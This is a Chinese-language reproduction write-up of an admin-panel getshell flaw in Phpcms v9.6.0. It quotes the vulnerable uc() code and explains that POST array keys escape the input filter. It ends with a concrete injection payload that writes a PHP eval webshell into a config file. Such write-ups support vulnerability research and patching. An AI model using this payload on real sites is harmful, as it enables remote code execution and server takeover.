Phpcms v9.6.0后台getshell

一、漏洞简介

phpsso_server 后台getshell

二、漏洞影响

Phpcms v9.6.0

三、复现过程

漏洞来自于ROOTDIR/phpsso_server/phpcms/modules/admin/system.php

public function uc() {
        if (isset($_POST['dosubmit'])) {
            $data = isset($_POST['data']) ? $_POST['data'] : '';
            $data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
            $filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
            $config = include $filepath;
            $uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
            foreach ($data as $k => $v) {
                $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
                $new[] = "'$k'=>'$v',";
                $uc_config .= "define('".strtoupper($k)."', '$v');\n";
            }
            $html = file_get_contents($filepath);
            $html = str_replace($old, $new, $html);
            $uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
            @file_put_contents($uc_config_filepath, $uc_config);
            @file_put_contents($filepath, $html);
            $this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
            showmessage(L('operation_success'), HTTP_REFERER);
        }
        $data = array();
        $r = $this->db->get_one(array('name'=>'ucenter'));
        if ($r) {
            $data = string2array($r['data']);
        }
        include $this->admin_tpl('system_uc');
    }

来自这段中的

\$data = isset(\$_POST[\'data\']) ? \$_POST[\'data\'] : \'\';

和

foreach (\$data as \$k => \$v) {\$old[] = \"\'\$k\'=>\'\".(isset(\$config[\$k]) ? \$config[\$k] : \$v).\"\',\";\$new[] = \"\'\$k\'=>\'\$v\',\";\$uc_config .= \"define(\'\".strtoupper(\$k).\"\', \'\$v\');\n\";}

这里接收post[\'data\']数据中的key，value并写入配置文件ROOTDIR/phpsso_server/caches/configs/uc_config.php中

在ROOTDIR/phpcms/libs/classes/param.class.php中

public function __construct() {
        if(!get_magic_quotes_gpc()) {
            $_POST = new_addslashes($_POST);
            $_GET = new_addslashes($_GET);
            $_REQUEST = new_addslashes($_REQUEST);
            $_COOKIE = new_addslashes($_COOKIE);
        }

全局过滤了post，但是这里只过滤了value，并没有过滤key

在这个地方，我们可以构造

name="data[uc_api','11');/*]"

并在Ucenter api 地址输入:

*/eval($_REQUEST[test]);//

再进行缓存更新

就成功写入了一句话